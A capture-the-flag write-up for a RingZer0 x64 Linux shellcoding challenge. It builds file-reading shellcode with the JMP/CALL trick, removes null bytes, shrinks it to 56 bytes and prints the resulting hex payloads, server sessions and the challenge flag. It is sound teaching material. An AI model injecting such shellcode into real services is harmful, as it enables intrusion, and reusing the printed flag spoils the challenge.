ringzer0team – Shellcoding – Basics of Linux x64 shellcoding
- Kileak

In the first shellcoding challenge, we just need to provide some executable shellcode with (almost) none filtering mechanism going on.

We could just take some existing execve-shellcode to get a shell and read the flag, but that's probably not the point of this challenge, so let's start writing our own.

Connecting to the shellcode server we get some initial information:

```
$ kcon conn shell1
Linux ld64deb1 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u2 x86_64
Last login: Mon Jul 11 14:30:11 2016 from 80.130.53.242

RingZer0 Team CTF Shellcoding Level 1
Submit your shellcode using hex representation "\xcc\xcd".
Type "end" to exit.

This level have no shellcode restriction.
You main goal is to read /flag/level1.flag

shellcode>
```

So, no shellcode restriction and we are given the filename for the file containing the flag.

Armed with a syscall table for x64 from http://blog.rchapman.org/post/36801038863/linux-system-call-table-for-x86-64 we'll write a simple shellcode, which should open the file, read its content and write it back to us.

At first, we need a way to get the filename somewhere accessable in memory. In most shellcodes the JMP/CALL method is used, also shown in „Smashing the stack for Fun and Profit" from AlephOne.

The idea behind this, is to first jump over the shellcode to a label, from which we call another label. By putting a string directly behind the call instruction, the address of this string will be pushed to the stack as the return address for the call, which was just made (though we will never return from the call, we now have the address for this string in the RSP register).

```
bits 64

_start:
      jmp short getFilename

readFile:
      ; the real work will be done here

getFilename:
      call readFile                 ; this will push the address of the filename onto the stack
      db '/flag/level1.flag'
```

Since we now have the filename accessable, all there's left to do, is to open the file, read it's content and write it back to stdout. Since we have no restrictions, we'll also let it exit gracefully avoiding segfaults.

```
bits 64

_start:
      jmp short getFilename

readFile:
      ; open the flag file => open("/flag/level1.flag", flags, mode)
      ; => syscall 2 (sys_open) (rdi = filename / rsi = flags / rdx = mode)
      mov rax, 2     ; syscall 2
      pop rdi        ; get filename from stack
      xor rsi, rsi   ; flags = 0
      xor rdx, rdx   ; mode = 0
      syscall

      ; read file content => read(fd, buf, count)
      ; => syscall 0 (sys_read) (rdi = fd / rsi = buf / rdx = count)
```

```
        mov rdi, rax   ; rax contains file descriptor from last syscall
        xor rax, rax   ; syscall 0
        lea rsi, [rsp] ; write file content to stack
        mov rdx, 100   ; 100 bytes should be enough
        syscall

        ; write flag to stdout => write(fd, buf, count)
        ; => syscall 1 (sys_write) (rdi = fd / rsi = buf / rdx = count)
        mov rdx, rax   ; rax contains number of bytes read
        mov rax, 1     ; syscall 1
        mov rdi, 1     ; write to stdout
        lea rsi, [rsp] ; read file content from stack
        syscall

        ; clean exit => exit(0)
        ; => syscall 60 (sys_exit) (rdi = errorcode)
        mov rax, 60
        xor rdi, rdi
        syscall

getFilename:
        call readFile                 ; this will push the address of the filename onto the stack
        db '/flag/level1.flag'
```

For testing purposes, I wrote a script, which compiles the shellcode, checks it for possible bad chars, and outputs it hex-encoded:

```
$ createsh shellcoding1
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080
\xeb\x3c\xb8\x02\x00\x00\x00\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x8d
\x34\x24\xba\x64\x00\x00\x00\x0f\x05\x48\x89\xc2\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d
\x34\x24\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05\xe8\xbf\xff\xff\xff\x2f\x66\x6c\x61\x67
\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67

$ echo test > /flag/level1.flag
$ ./shellcoding1
test
```

So, the shellcode seems to be working. Let's try it on the challenge server:

```
$ kcon conn shell1
Linux ld64deb1 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u2 x86_64
Last login: Mon Jul 11 14:53:11 2016 from 80.130.53.242

RingZer0 Team CTF Shellcoding Level 1
Submit your shellcode using hex representation "\xcc\xcd".
Type "end" to exit.

This level have no shellcode restriction.
You main goal is to read /flag/level1.flag

shellcode>\xeb\x3c\xb8\x02\x00\x00\x00\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0
\x48\x8d\x34\x24\xba\x64\x00\x00\x00\x0f\x05\x48\x89\xc2\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x
48\x8d\x34\x24\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05\xe8\xbf\xff\xff\xff\x2f\x66\x6c\x61
\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
      Shellcode received...
      Shellcode length (84) bytes.

      Success: Executing shellcode...

      Error: SIGSEGV received I think your shellcode is not working.
```

Ouch, it segfaults... „No restriction“ doesn‘t necessarily mean we‘re allowed to have null bytes in it. We‘ll have to optimize the shellcode a little bit, to get rid of the null bytes.

Let‘s check what operations creates them:

```
$ objdump -d shellcoding1

shellcoding1:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:
  400080:     eb 3c                  jmp    4000be <getFilename>

0000000000400082 <readFile>:
  400082:     b8 02 00 00 00         mov    $0x2,%eax
  400087:     5f                     pop    %rdi
  400088:     48 31 f6              xor    %rsi,%rsi
  40008b:     48 31 d2              xor    %rdx,%rdx
  40008e:     0f 05                 syscall
  400090:     48 89 c7              mov    %rax,%rdi
  400093:     48 31 c0              xor    %rax,%rax
  400096:     48 8d 34 24           lea    (%rsp),%rsi
  40009a:     ba 64 00 00 00        mov    $0x64,%edx
  40009f:     0f 05                 syscall
  4000a1:     48 89 c2              mov    %rax,%rdx
  4000a4:     b8 01 00 00 00        mov    $0x1,%eax
  4000a9:     bf 01 00 00 00        mov    $0x1,%edi
  4000ae:     48 8d 34 24           lea    (%rsp),%rsi
  4000b2:     0f 05                 syscall
  4000b4:     b8 3c 00 00 00        mov    $0x3c,%eax
  4000b9:     48 31 ff              xor    %rdi,%rdi
  4000bc:     0f 05                 syscall

00000000004000be <getFilename>:
  4000be:     e8 bf ff ff ff        callq  400082 <readFile>
  4000c3:     2f                    (bad)
  4000c4:     66 6c                 data16 insb (%dx),%es:(%rdi)
  4000c6:     61                    (bad)
  4000c7:     67 2f                 addr32 (bad)
  4000c9:     6c                    insb   (%dx),%es:(%rdi)
  4000ca:     65 76 65              gs jbe 400132 <getFilename+0x74>
  4000cd:     6c                    insb   (%dx),%es:(%rdi)
  4000ce:     31 2e                 xor    %ebp,(%rsi)
  4000d0:     66 6c                 data16 insb (%dx),%es:(%rdi)
  4000d2:     61                    (bad)
  4000d3:     67                    addr32
```

That‘s manageable. We just have to replace those instructions with some equivalent instructions, which won‘t produce null bytes in our shellcode.

```
  400082:     b8 02 00 00 00        mov    $0x2,%eax
```

Setting rax to 0x2 can also be achieved by

```
      xor rax, rax
      mov al, 2
```

resulting in:

```
  400082:     48 31 c0              xor    %rax,%rax
  400085:     b0 02                 mov    $0x2,%al
```

No null bytes anymore in this. The same approach also works for the next bad instructions:

```
  40009a:     ba 64 00 00 00        mov    $0x64,%edx

      xor rdx, rdx
      mov dl, 100

  40009a:     48 31 d2              xor    %rdx,%rdx
  40009d:     b2 64                 mov    $0x64,%dl
```

```
  4000a4:     b8 01 00 00 00        mov    $0x1,%eax
  4000a9:     bf 01 00 00 00        mov    $0x1,%edi

      xor rax, rax
      inc rax
      xor rdi, rdi
      inc rdi

  4000a4:     48 31 c0              xor    %rax,%rax
  4000a7:     48 ff c0              inc    %rax
  4000aa:     48 31 ff              xor    %rdi,%rdi
```

```
  4000b4:     b8 3c 00 00 00        mov    $0x3c,%eax

      xor rax, rax
      mov al, 60

  4000b6:     48 31 c0              xor    %rax,%rax
  4000b9:     b0 3c                 mov    $0x3c,%al
```

With those modifications the resulting shellcode doesn‘t contain null bytes anymore:

```
$ createsh shellcoding1
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080
\xeb\x3e\x48\x31\xc0\xb0\x02\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x8d
\x34\x24\x48\x31\xd2\xb2\x64\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7
\x48\x8d\x34\x24\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xbd\xff\xff\xff\x2f\x66\x6c
\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
```

Looking good, let‘s try it on the challenge server:

```
$ kcon conn shell1
Linux ld64deb1 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u2 x86_64
Last login: Mon Jul 11 15:39:52 2016 from 80.130.53.242

RingZer0 Team CTF Shellcoding Level 1
Submit your shellcode using hex representation "\xcc\xcd".
Type "end" to exit.

This level have no shellcode restriction.
You main goal is to read /flag/level1.flag

shellcode>\xeb\x3e\x48\x31\xc0\xb0\x02\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0
\x48\x8d\x34\x24\x48\x31\xd2\xb2\x64\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\x
ff\xc7\x48\x8d\x34\x24\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xbd\xff\xff\xff\x2f\x66
\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
      Shellcode received...
      Shellcode length (86) bytes.

      Success: Executing shellcode...

FLAG-1Ql864uTj8pY2470t85VX42q1B
Connection to shellcode.ringzer0team.com closed.
```

Though this shellcode worked like a charm, 86 bytes are quite much for such a small task and it could be optimized further to make it smaller by exchanging operations with other operations, that generate smaller opcodes or by removing operations, which aren‘t needed (like xor‘ing a register, that is already zero).

There are quite more tricks to enhance it, but here‘s a simple example to strip down the shellcode to 56 bytes, though still retrieving the flag:

```
bits 64

_start:
      jmp short getFilename

readFile:
      ; open the flag file => open("/flag/level1.flag", flags, mode)
      ; => syscall 2 (sys_open) (rdi = filename / rsi = flags / rdx = mode)

      pop rdi        ; get filename from stack

      ; Initialize a register with zero to replace xor-operations (saves 1 byte opposed to xor)
      ; xor rbx, rbx ; r8 = 0 (not needed, rbx is already zero at start)

      ; mov rax, 2   ; syscall 2 (saves 1 byte)
      push rbx       ; push a zero on the stack
      pop rax        ; pop it to rax (zeroing it)
      mov al, 2      ; move 2 into lower bytes of rax

      ; xor rsi, rsi ; flags = 0 (saves 1 byte)
      push rbx       ; push a zero on the stack
      pop rsi        ; pop it to rax (zeroing it)

      ; rdx is already 0 (saves 3 bytes)
      ; xor rdx, rdx       ; mode = 0

      syscall

      ; read file content => read(fd, buf, count)
      ; => syscall 0 (sys_read) (rdi = fd / rsi = buf / rdx = count)

      ; mov rdi, rax (xchg saves 1 byte)
      xchg rdi, rax  ; rax contains file descriptor from last syscall

      ; xor rax, rax (saves 1 byte)
      push rbx
      pop rax        ; syscall 0

      ; lea rsi, [rsp] (saves 2 bytes)
      push rsp
      pop rsi        ; write file content to stack
      ; xor rdx, rdx ; rdx is already zero (saves 4 bytes)
      mov dl, 100    ; 100 bytes should be enough
      syscall
      ; write flag to stdout => write(fd, buf, count)
      ; => syscall 1 (sys_write) (rdi = fd / rsi = buf / rdx = count)

      ; mov rdx, rax (xchg saves 1 byte)
      xchg rdx, rax  ; rax contains number of bytes read

      ; xor rax, rax (saves 3 bytes to push and pop instead of xor/inc)
      ; inc rax
      push byte 1
      pop rax        ; syscall 1

      ; xor rdi, rdi (saves 4 bytes to push and pop instead of xor/inc)
      ; inc rdi
      push rax
      pop rdi        ; write to stdout

      ; lea rsi, [rsp] (saves 2 bytes)
      push rsp
      pop rsi        ; read file content from stack

      syscall

      ; doing it without a clean exit saves 8 bytes (instead doing a jmp)
      jmp short end

      ; clean exit => exit(0)
      ; => syscall 60 (sys_exit) (rdi = errorcode)
      ;xor rax, rax
      ;mov al, 60    ; syscall 60
      ;xor rdi, rdi  ; errorcode = 0

getFilename:
      call readFile
      db '/flag/level1.flag'

end:
```

This surely isn‘t the end for optimizing it, but with some simple modifications we were already able to reduce the size by 35%, while still having a working shellcode:

```
$ createsh shellcoding1
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080
\xeb\x20\x5f\x53\x58\xb0\x02\x53\x5e\x0f\x05\x48\x97\x53\x58\x54\x5e\xb2\x64\x0f\x05\x48\x92\x6a
\x01\x58\x50\x5f\x54\x5e\x0f\x05\xeb\x16\xe8\xdb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76
\x65\x6c\x31\x2e\x66\x6c\x61\x67
```

```
$ kcon conn shell1
Linux ld64deb1 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u2 x86_64
Last login: Mon Jul 11 16:15:29 2016 from 80.130.53.242

RingZer0 Team CTF Shellcoding Level 1
Submit your shellcode using hex representation "\xcc\xcd".
Type "end" to exit.

This level have no shellcode restriction.
You main goal is to read /flag/level1.flag

shellcode>\xeb\x20\x5f\x53\x58\xb0\x02\x53\x5e\x0f\x05\x48\x97\x53\x58\x54\x5e\xb2\x64\x0f\x05\x48
\x92\x6a\x01\x58\x50\x5f\x54\x5e\x0f\x05\xeb\x16\xe8\xdb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x
65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
      Shellcode received...
      Shellcode length (56) bytes.

      Success: Executing shellcode...

FLAG-1Ql864uTj8pY2470t85VX42q1B
      Error: SIGSEGV received I think your shellcode is not working.
```

Segfaulting, but still printing the flag. We could even remove the „jmp short end“, saving another 2 bytes, but this would result in the service go into a loop printing the flag again and again...

There are even more artful methods to reduce the shellcode size, if the application is more restrictive about buffer size, but this might be a topic for future challenges.